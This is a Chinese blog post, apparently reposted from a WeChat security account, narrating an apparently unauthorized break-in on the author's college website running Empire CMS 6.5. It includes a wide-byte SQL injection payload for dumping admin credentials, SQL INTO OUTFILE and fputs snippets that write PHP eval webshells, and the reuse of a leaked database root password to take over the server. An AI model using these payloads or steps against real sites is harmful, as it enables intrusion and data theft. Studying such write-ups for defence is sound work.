对母校官方网站的一次渗透检测经历

  • A+
所属分类:安全文章

最近我又对学院进行了一次大规模的检测。

原来才知道学院官网存在这么弱智的漏洞。

首先来看看学院官网,开了N个页面,

都是纯静态的页面,基本上无从下手


也许跟我一样的菜鸟朋友会想到旁站与C段,好吧。

我们来检测一下,御剑5.1检测无果。

C段检测也只存在一台同网段服务器,如图(1)(2)

对母校官方网站的一次渗透检测经历

图(1)

对母校官方网站的一次渗透检测经历

图(2)

显然旁注、C段这条路就没了,还是回到主站。

我们学校只有一个主站,没有给二级学院分配二级域名,只是二级目录。

所以无法列出二级域名,这里我就不截图了。

既然这样就只能利用各种扫描器硬着头皮上了。

先判断对方是啥WEB服务器,随便在域名后面输入一个不存在的文件名。

于是立刻报错,如图(3)

对母校官方网站的一次渗透检测经历 图(3)

猥琐的爆出了服务器的基本信息,这不就是典型的LAMP服务器么,呵呵 ~!

我还以为真的纯静态呢,原来是PHP网站。

我立刻对它来了兴趣,拿出wwwscan扫敏感目录,不一会儿就露出了马脚,如图(4)该懂的人都懂

对母校官方网站的一次渗透检测经历

图(4)

看到/e/admin、/d/、/hml/这不就是传说中的帝国CMS的标志性目录么?

帝国CMS曾经号称最安全、最稳定的内容管理系统,管理员这也想到了?

打开后台来看看,不是标准的帝国CMS的后台登陆页面,不知道那屌丝管理从哪找的,如图(5)

对母校官方网站的一次渗透检测经历

图(5)

先不管这么多了,果断google了一下历史上关于帝国CMS的漏洞。

发现了一个较为普遍的漏洞,就是留言板宽字节注入漏洞。

直奔留言本页面:http://www.XXXXXX.com/e/tool/gbook/?bid=1显示不存在,如图(6)

对母校官方网站的一次渗透检测经历

图(6)

将bid=1换成bid=2、bid=3、bid=4、bid=5、bid=6分别是书记信箱、校长信箱、意见反馈、校刊、校报留言、校友留言。呵呵~!
没想到挺丰富的,捡了一个拿来测试了一下

在姓名处输入:“123縗”(都说过了是宽字节),联系邮箱:,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*,其他的随便填。


果不出我所料网站跳转到/e/enews/index.php,一片空白,啥东西都木有。

帝国CMS的老漏洞都无法利用,又木有0day。

于是就只好想办法进后台呗,试了N多常用的管理员用户名及口令,都无法登陆后台。


对了,从wwwscan的扫描结果看,

不是说扫出了robots.txt蜘蛛程序么,或许这个蜘蛛程序能给我们带来更多的信息。

网站通过robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。

虽然说是那么说,但是很多CMS都把后台管理地址,敏感目录放在里面,如果管理员不修改的话是很危险的,打开一看,如图(7)

对母校官方网站的一次渗透检测经历

图(7)

呵呵~!看样子好像有学长大人们留下的脚印哦(邪恶的分界线下的是偶进去后写的!)

我访问了那几个页面,发现网站存在列目录的漏洞。
如图(8)(9)

对母校官方网站的一次渗透检测经历

图(8)

对母校官方网站的一次渗透检测经历

图(9)

发现了可爱的config.php文件,可惜看不到源码滴

不过打开http://www.XXXXX.com/e/update发现了帝国CMS的升级程序,如图(10)

对母校官方网站的一次渗透检测经历

图(10)

点击“开始升级”后出现不能正常升级的现象。于是目测该帝国CMS是6.5的。
没办法,只好祭出神器Netsparker和WVS

Netsparker这家伙相当于著名WVS的一款WEB综合漏洞的扫描器,集成了包括各种SQL注入、CSRF、XSS等在内的常用漏洞。


有时使用它能达到事半功倍的效果,二话不说,果断在本机上跑起来。

由于WVS那强大的爬虫功能,可以检测出网站管理员隐藏了的敏感目录,并且列出网站所有目录的结构,如图(11)

对母校官方网站的一次渗透检测经历

图(11)

看了看两个扫描器的目录结构感觉没啥利用价值,不过找出的洞洞就很雷人了,不说了,直接上图:

对母校官方网站的一次渗透检测经历

图(12)

Netsparker扫出的洞洞分析出原来网站还存在如此雷人的漏洞,还不明白的话,看图吧:

对母校官方网站的一次渗透检测经历

图(13)

或许是因为管理员需要编辑config.php时害怕修改失误而造成不必要的损失,所以对config.php做了备份。

但是还是被我们爬出来了,管理员还是如此的小心呀,可惜想多了是要产生问题的

数据库的基本信息都被我们知道得一清二楚了。

最恶心的是管理员直接用root连接数据库,如果root没被降权的话,如果上次那个phpmyadmin没被删的话,这个网站就基本上搞定了,哎~!可惜没有那么多如果,还是继续收集信息吧。


既然要进后台,我们为什么不收集收集管理员的信息呢。

于是我开始分析学院的一些管理分支结构,对于这多部门需要管理,我想不可能只有一个管理员,应该有很多的(高校网站一般都这样)


后来分析才发现学院网站大体分为4大部分:

第一部分是新闻部,专门处理各二级学院,各管理机构的新闻信息,发布到首页;

第二部分是各个二级学院,每个学院都有个网站管理账号,但是我肯定权限很低,就只能对自己学院板块的修改;

第三部分就是学院办公室,这个权限应该就很高了,可以说是仅次于最高权限吧;

第四部分就是各个管理机构吧(如教务处、行政办公室、人力资源、招生就业、后勤部门等)


为了方便管理这些部门设置的密码强度应该不大,于是开始猜测这些账号的密码。

这些账号信息可以到各个新闻页面的“发布者”那一栏获得,如图(14)

对母校官方网站的一次渗透检测经历

图(14)

好吧~!学校网站的这一秘密被我观察出来了

在猜解院办的用户密码时,一个弱口令(就不告诉你)就直接进去了

如图(15)

对母校官方网站的一次渗透检测经历

图(15)

哈~!人品大爆发了,一个多功能的帝国CMS华丽后台展现在了我的眼前,如图(16)

对母校官方网站的一次渗透检测经历

图(16)

呵呵~!看了看服务器的基本信息,跟我预想的一样。

这个用户果然是高权限用户,除了“用户操作、模板、插件”那几栏没权限外其他的功能都可以用,
大家都知道PHP网站后台跟ASP不同的是PHP后台的功能强大,不像ASP后台那么简陋


但是拿shell的方法随之变得很灵活,看了看系统设置,居然还可以执行SQL语句,前面对config.php的读取不是root权限么,呵呵~!

如果知道网站的根目录的话就淫荡了~!如图(17)

对母校官方网站的一次渗透检测经历

图(17)

哈哈~!权限够大吧~!

但是我们不知道网站根目录的绝对路径一切白搭。

我想看看有木有能够直接上马的地方,这个问题还困扰了我半天的时间。

这帝国肯定会检查上传后缀的,比如我们找到一个图片上传点,直接上PHP后缀的马会提示禁止上传php文件,对方是APACHE无法利用解析漏洞,如图(18)

对母校官方网站的一次渗透检测经历

图(18)

后来利用APACHE的常见的解析漏洞也无果。

网上一个基友给我说可以利用模板管理秒拿shell。

可惜没权限编辑模板呀,哎看来只能硬着头皮去找网站绝对路径了。

再通过执行SQL语句向根目录里写入shell。

后来想到了系统管理里的数据表与系统模型,可以导入新的系统模型并写入任意表里面。

于是果断“系统设置”——“数据表与系统模型”——“管理数据表”——“管理系统模型”——“导入系统模型”,如图(19)

对母校官方网站的一次渗透检测经历

图(19)

在数据表名处写上任意后缀,选择导入的文件。

这里我选用了一个PHP大马文件,并命名为dama.php.mod上传,眼前出现了令人震惊的画面,如图(20)

对母校官方网站的一次渗透检测经历

图(20)

居然就这样执行了大马代码,擦,原来这么神奇,输入密码后杯具才发生了,居然无法进入大马,如图(21)

对母校官方网站的一次渗透检测经历

图(21)

后来我想到了一句话,上了个一句话上去。

抓包查看绝对路径,就只抓到了e/admin/ecmsmod.php这个文件(猜测就算这个文件惹的祸)。

所以我们的马其实没有真的上传到服务器中,而是在导入到数据库里前被执行了一次。


后来发现就算命名为dama.bat.mod都被当做PHP来执行了,原来在这里可以执行任意PHP代码,而且不会去识别后缀名。

这样一来我们就有突破口了,就利用这个漏洞来查找网站绝对路径,在一个文本文件里写入”<?php phpinfo(); ?>”命名为info.php.mod来探测一下,导入,果然出现了,如图(22)

对母校官方网站的一次渗透检测经历

图(22)

但是还没等我反应过来,它就返回了前面的页面,呵呵,这哪能难倒我等小菜,再次上传info.php.mod。

在执行的一瞬间,查看源代码可以扑捉到phpinfo的html源代码。

于是就可以查看ecmsmod.php执行phpinfo后的源码。

即使页面跳转了,也不会影响我们。

果断搜索DOCUMENT_ROOT,成功获取网站根目录的绝对路径,如图(23)

对母校官方网站的一次渗透检测经历

图(23)

绝对路径为/usr/wwwroot/php-proj,呵呵 ,真不好弄呀,下面我想大家都懂了吧。

既然数据库是ROOT权限,直接往根目录里写一句话呗,在“系统设置”——“备份与恢复数据”——“执行SQL语句”,写入以下代码:
create table temp (cmd text not null);
insert into temp (cmd) values('<?php eval($_POST[a])?>');
select cmd from temp into outfile '/usr/wwwroot/php-proj/z.php';
drop table if exists temp;
执行成功,连接一句话,OK,如图(24)

对母校官方网站的一次渗透检测经历

图(24)

后来测试出一种更简单的方法。

直接在“导入系统模型“处,导入1.php.mod,其内容为<?fputs(fopen("x.php","w"),"<?eval($_POST[x]);?>")?>,即可在/e/admin的目录下(与ecmsmod.php同目录)生成x.php,内容为<?eval($_POST[x]);?>")?>的一句话木马。


看了看权限,权限很大,网站根目录都是777的权限

可以修改主页,可以访问系统根目录,看了看帝国CMS的版本,跟我猜测的一样是6.5,如图(25)

对母校官方网站的一次渗透检测经历

图(25)

看了下服务器的IP地址,如图(26)

对母校官方网站的一次渗透检测经历

图(26)

看到了服务器的内网IP,果断没有和我处于同一子网下。

在学校里混了这么久,第一次发现学校网站的内网IP,服务器不能上外网,所以反弹shell提权就没办法了。

于是想到校园里有很多服务器,都是可以互相访问的。


手里也没有内网服务器,本来打算就此放弃的,突然想到了刚开始我们使用netsparker扫描出的一个config.php~文件,并且从中获得了数据库root的密码,我想服务器密码会不会是那个密码呢,果断一试,居然进去了,如图(27)

对母校官方网站的一次渗透检测经历

图(27)

人品又一次大爆发了,这个管理员真该被开除,系统密码和MYSQL密码居然一样,管理员就一懒人,既然ROOT上去了,就达到了我的最终目的,挂个TXT装B走人。

总结
① 这次成功的渗透源于我对网站信息的细心收集。
② 对内部各管理部门的了解。
③ 对帝国CMS安全隐患的了解。
④ 管理员的懒惰,认为服务器在内网放着就高枕无忧了。
⑤ 各个管理部门对安全的忽视。
⑥ 勇于探索。



本文始发于微信公众号(T00ls):对母校官方网站的一次渗透检测经历

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: